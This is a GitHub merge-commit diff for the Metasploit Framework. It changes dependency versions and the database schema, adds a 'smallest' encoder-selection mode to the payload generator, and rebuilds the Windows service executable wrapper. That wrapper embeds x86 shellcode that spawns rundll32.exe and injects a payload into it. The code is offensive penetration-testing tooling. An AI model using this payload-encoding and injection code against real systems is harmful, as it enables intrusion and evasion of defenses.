Skip to content

Commit 10bd753

Browse files
committed
Merge branch 'upstream/master' into uuid-stagers
2 parents a6a274d + c63077f commit 10bd753

File tree

37 files changed

+753
-310
lines changed

37 files changed

+753
-310
lines changed

Gemfile.lock

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -124,7 +124,7 @@ GEM
124124
activesupport (>= 4.0.9, < 4.1.0)
125125
railties (>= 4.0.9, < 4.1.0)
126126
metasploit-payloads (0.0.7)
127-
metasploit_data_models (1.0.1)
127+
metasploit_data_models (1.1.0)
128128
activerecord (>= 4.0.9, < 4.1.0)
129129
activesupport (>= 4.0.9, < 4.1.0)
130130
arel-helpers
@@ -146,7 +146,7 @@ GEM
146146
mini_portile (~> 0.6.0)
147147
packetfu (1.1.9)
148148
pcaprub (0.12.0)
149-
pg (0.18.1)
149+
pg (0.18.2)
150150
pg_array_parser (0.0.9)
151151
postgres_ext (2.4.1)
152152
activerecord (>= 4.0.0)
@@ -156,7 +156,7 @@ GEM
156156
coderay (~> 1.1.0)
157157
method_source (~> 0.8.1)
158158
slop (~> 3.4)
159-
rack (1.5.2)
159+
rack (1.5.3)
160160
rack-test (0.6.3)
161161
rack (>= 1.0)
162162
rails (4.0.13)
@@ -222,7 +222,7 @@ GEM
222222
thread_safe (0.3.5)
223223
tilt (1.4.1)
224224
timecop (0.7.3)
225-
tzinfo (0.3.43)
225+
tzinfo (0.3.44)
226226
xpath (2.0.0)
227227
nokogiri (~> 1.3)
228228
yard (0.8.7.6)

db/schema.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111
#
1212
# It's strongly recommended that you check this file into your version control system.
1313

14-
ActiveRecord::Schema.define(version: 20150421211719) do
14+
ActiveRecord::Schema.define(version: 20150514182921) do
1515

1616
# These are extensions that must be enabled in order to support this database
1717
enable_extension "plpgsql"
@@ -684,9 +684,12 @@
684684
t.datetime "exploited_at"
685685
t.integer "vuln_detail_count", default: 0
686686
t.integer "vuln_attempt_count", default: 0
687+
t.integer "origin_id"
688+
t.string "origin_type"
687689
end
688690

689691
add_index "vulns", ["name"], name: "index_vulns_on_name", using: :btree
692+
add_index "vulns", ["origin_id"], name: "index_vulns_on_origin_id", using: :btree
690693

691694
create_table "vulns_refs", force: true do |t|
692695
t.integer "ref_id"

lib/metasploit/framework/credential.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,8 +75,10 @@ def inspect
7575
def to_s
7676
if realm && realm_key == Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
7777
"#{self.realm}\\#{self.public}:#{self.private}"
78-
else
78+
elsif self.private
7979
"#{self.public}:#{self.private}#{at_realm}"
80+
else
81+
self.public
8082
end
8183
end
8284

lib/msf/core/auxiliary/auth_brute.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -566,7 +566,6 @@ def print_brute(opts={})
566566
else
567567
level = opts[:level].to_s.strip
568568
end
569-
570569
host_ip = opts[:ip] || opts[:rhost] || opts[:host] || (rhost rescue nil) || datastore['RHOST']
571570
host_port = opts[:port] || opts[:rport] || (rport rescue nil) || datastore['RPORT']
572571
msg = opts[:msg] || opts[:message] || opts[:legacy_msg]

lib/msf/core/auxiliary/report.rb

Lines changed: 13 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -12,34 +12,43 @@ module Auxiliary::Report
1212

1313
optionally_include_metasploit_credential_creation
1414

15+
def db_warning_given?
16+
if @warning_issued
17+
true
18+
else
19+
@warning_issued = true
20+
false
21+
end
22+
end
23+
1524
def create_cracked_credential(opts={})
1625
if active_db?
1726
super(opts)
18-
else
27+
elsif !db_warning_given?
1928
vprint_warning('No active DB -- Credential data will not be saved!')
2029
end
2130
end
2231

2332
def create_credential(opts={})
2433
if active_db?
2534
super(opts)
26-
else
35+
elsif !db_warning_given?
2736
vprint_warning('No active DB -- Credential data will not be saved!')
2837
end
2938
end
3039

3140
def create_credential_login(opts={})
3241
if active_db?
3342
super(opts)
34-
else
43+
elsif !db_warning_given?
3544
vprint_warning('No active DB -- Credential data will not be saved!')
3645
end
3746
end
3847

3948
def invalidate_login(opts={})
4049
if active_db?
4150
super(opts)
42-
else
51+
elsif !db_warning_given?
4352
vprint_warning('No active DB -- Credential data will not be saved!')
4453
end
4554
end

lib/msf/core/db_manager/import.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -129,6 +129,8 @@ def import_file(args={}, &block)
129129
end
130130
end
131131

132+
# Override REXML's expansion text limit to 50k (default: 10240 bytes)
133+
REXML::Security.entity_expansion_text_limit = 51200
132134

133135
if block
134136
import(args.merge(:data => data)) { |type,data| yield type,data }

lib/msf/core/payload_generator.rb

Lines changed: 46 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -61,9 +61,15 @@ class PayloadGenerator
6161
# @!attribute platform
6262
# @return [String] The platform to build the payload for
6363
attr_accessor :platform
64+
# @!attribute smallest
65+
# @return [Boolean] Whether or not to find the smallest possible output
66+
attr_accessor :smallest
6467
# @!attribute space
6568
# @return [Fixnum] The maximum size in bytes of the payload
6669
attr_accessor :space
70+
# @!attribute encoder_space
71+
# @return [Fixnum] The maximum size in bytes of the encoded payload
72+
attr_accessor :encoder_space
6773
# @!attribute stdin
6874
# @return [String] The raw bytes of a payload taken from STDIN
6975
attr_accessor :stdin
@@ -85,12 +91,14 @@ class PayloadGenerator
8591
# @option opts [String] :badchars (see #badchars)
8692
# @option opts [String] :template (see #template)
8793
# @option opts [Fixnum] :space (see #space)
94+
# @option opts [Fixnum] :encoder_space (see #encoder_space)
8895
# @option opts [Fixnum] :nops (see #nops)
8996
# @option opts [String] :add_code (see #add_code)
9097
# @option opts [Boolean] :keep (see #keep)
9198
# @option opts [Hash] :datastore (see #datastore)
9299
# @option opts [Msf::Framework] :framework (see #framework)
93100
# @option opts [Boolean] :cli (see #cli)
101+
# @option opts [Boolean] :smallest (see #smallest)
94102
# @raise [KeyError] if framework is not provided in the options hash
95103
def initialize(opts={})
96104
@add_code = opts.fetch(:add_code, '')
@@ -109,11 +117,20 @@ def initialize(opts={})
109117
@stdin = opts.fetch(:stdin, nil)
110118
@template = opts.fetch(:template, '')
111119
@var_name = opts.fetch(:var_name, 'buf')
120+
@smallest = opts.fetch(:smallest, false)
121+
@encoder_space = opts.fetch(:encoder_space, @space)
112122

113123
@framework = opts.fetch(:framework)
114124

115125
raise ArgumentError, "Invalid Payload Selected" unless payload_is_valid?
116126
raise ArgumentError, "Invalid Format Selected" unless format_is_valid?
127+
128+
# In smallest mode, override the payload @space & @encoder_space settings
129+
if @smallest
130+
@space = 0
131+
@encoder_space = 1.gigabyte
132+
end
133+
117134
end
118135

119136
# This method takes the shellcode generated so far and adds shellcode from
@@ -194,24 +211,36 @@ def encode_payload(shellcode)
194211
encoder_list = get_encoders
195212
if encoder_list.empty?
196213
cli_print "No encoder or badchars specified, outputting raw payload"
197-
shellcode
198-
else
199-
cli_print "Found #{encoder_list.count} compatible encoders"
200-
encoder_list.each do |encoder_mod|
201-
cli_print "Attempting to encode payload with #{iterations} iterations of #{encoder_mod.refname}"
202-
begin
203-
encoder_mod.available_space = @space
204-
return run_encoder(encoder_mod, shellcode.dup)
205-
rescue ::Msf::EncoderSpaceViolation => e
206-
cli_print "#{encoder_mod.refname} failed with #{e.message}"
207-
next
208-
rescue ::Msf::EncodingError => e
209-
cli_print "#{encoder_mod.refname} failed with #{e.message}"
210-
next
211-
end
214+
return shellcode
215+
end
216+
217+
results = {}
218+
219+
cli_print "Found #{encoder_list.count} compatible encoders"
220+
encoder_list.each do |encoder_mod|
221+
cli_print "Attempting to encode payload with #{iterations} iterations of #{encoder_mod.refname}"
222+
begin
223+
encoder_mod.available_space = @encoder_space unless @smallest
224+
results[encoder_mod.refname] = run_encoder(encoder_mod, shellcode.dup)
225+
break unless @smallest
226+
rescue ::Msf::EncoderSpaceViolation => e
227+
cli_print "#{encoder_mod.refname} failed with #{e.message}"
228+
next
229+
rescue ::Msf::EncodingError => e
230+
cli_print "#{encoder_mod.refname} failed with #{e.message}"
231+
next
212232
end
233+
end
234+
235+
if results.keys.length == 0
213236
raise ::Msf::EncodingError, "No Encoder Succeeded"
214237
end
238+
239+
# Return the shortest encoding of the payload
240+
chosen_encoder = results.keys.sort{|a,b| results[a].length <=> results[b].length}.first
241+
cli_print "#{chosen_encoder} chosen with final size #{results[chosen_encoder].length}"
242+
243+
results[chosen_encoder]
215244
end
216245

217246
# This returns a hash for the exe format generation of payloads
@@ -346,7 +375,7 @@ def get_encoders
346375
e.datastore.import_options_from_hash(datastore)
347376
encoders << e if e
348377
end
349-
encoders.sort_by { |my_encoder| my_encoder.rank }.reverse
378+
encoders.select{ |my_encoder| my_encoder.rank != ManualRanking }.sort_by { |my_encoder| my_encoder.rank }.reverse
350379
else
351380
encoders
352381
end
@@ -395,7 +424,7 @@ def run_encoder(encoder_module, shellcode)
395424
iterations.times do |x|
396425
shellcode = encoder_module.encode(shellcode.dup, badchars, nil, platform_list)
397426
cli_print "#{encoder_module.refname} succeeded with size #{shellcode.length} (iteration=#{x})"
398-
if shellcode.length > space
427+
if shellcode.length > encoder_space
399428
raise EncoderSpaceViolation, "encoder has made a buffer that is too big"
400429
end
401430
end

lib/msf/ui/console/command_dispatcher/db.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1270,8 +1270,8 @@ def cmd_notes(*args)
12701270
end
12711271
end
12721272
if search_term
1273-
note_list.delete_if do |n|
1274-
!n.attribute_names.any? { |a| n[a.intern].to_s.match(search_term) }
1273+
note_list = note_list.select do |n|
1274+
n.attribute_names.any? { |a| n[a.intern].to_s.match(search_term) }
12751275
end
12761276
end
12771277

lib/msf/util/exe.rb

Lines changed: 12 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -525,9 +525,6 @@ def self.to_win64pe(framework, code, opts = {})
525525
return injector.generate_pe
526526
end
527527

528-
#opts[:exe_type] = :exe_sub
529-
#return exe_sub_method(code,opts)
530-
531528
# Append a new section instead
532529
appender = Msf::Exe::SegmentAppender.new({
533530
:payload => code,
@@ -549,9 +546,9 @@ def self.to_win64pe(framework, code, opts = {})
549546
#
550547
# @return [String] Windows Service PE file
551548
def self.to_win32pe_service(framework, code, opts = {})
549+
set_template_default(opts, "template_x86_windows_svc.exe")
552550
if opts[:sub_method]
553551
# Allow the user to specify their own service EXE template
554-
set_template_default(opts, "template_x86_windows_svc.exe")
555552
opts[:exe_type] = :service_exe
556553
return exe_sub_method(code,opts)
557554
else
@@ -591,26 +588,31 @@ def self.to_win32pe_service(framework, code, opts = {})
591588
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
592589
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
593590
"\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
594-
"\x8D\x85#{[svcmain_code_offset].pack('<I')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
591+
"\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
595592
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
596593
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
597-
"#{[hash_code_offset].pack('<I') + pushed_service_name}\x89\xE1\x8D" +
598-
"\x85#{[svcctrlhandler_code_offset].pack('<I')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
594+
"#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +
595+
"\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
599596
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
600597
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
601598
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
602599
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
603600
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
604601
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
605-
"\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('<I')}\x57\x51\x68\xAE\x87" +
602+
"\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('I<')}\x57\x51\x68\xAE\x87" +
606603
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
607-
"#{[shellcode_code_offset].pack('<I')}\x54\x68#{[code.length].pack('<I')}" +
604+
"#{[shellcode_code_offset].pack('I<')}\x54\x68#{[code.length].pack('I<')}" +
608605
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
609606
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
610607
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
611608
"\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
612609

613-
to_winpe_only(framework, code_service + code, opts)
610+
# Append a new section to the template
611+
Msf::Exe::SegmentAppender.new({
612+
:payload => code_service + code,
613+
:template => opts[:template],
614+
:arch => :x86
615+
}).generate_pe
614616
end
615617
end
616618

lib/rex/payloads/meterpreter/config.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ def to_str(item, size)
3939
end
4040

4141
def to_wchar_t(item, size)
42-
to_ascii(item, size).unpack("C*").pack("v*")
42+
to_ascii(item, size).unpack('C*').pack('v*')
4343
end
4444

4545
def to_ascii(item, size)
@@ -57,7 +57,7 @@ def session_block(opts)
5757
uuid # the UUID
5858
]
5959

60-
session_data.pack("VVVA*")
60+
session_data.pack('VVVA*')
6161
end
6262

6363
def transport_block(opts)
@@ -117,7 +117,7 @@ def extension_block(ext_name, file_extension)
117117
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",
118118
file_extension))
119119

120-
extension_data = [ ext.length, ext ].pack("VA*")
120+
extension_data = [ ext.length, ext ].pack('VA*')
121121
end
122122

123123
def config_block
@@ -143,9 +143,9 @@ def config_block
143143

144144
# terminate the extensions with a 0 size
145145
if is_x86?
146-
config << [0].pack("V")
146+
config << [0].pack('V')
147147
else
148-
config << [0].pack("Q")
148+
config << [0].pack('Q<')
149149
end
150150

151151
# and we're done

0 commit comments

Comments
 (0)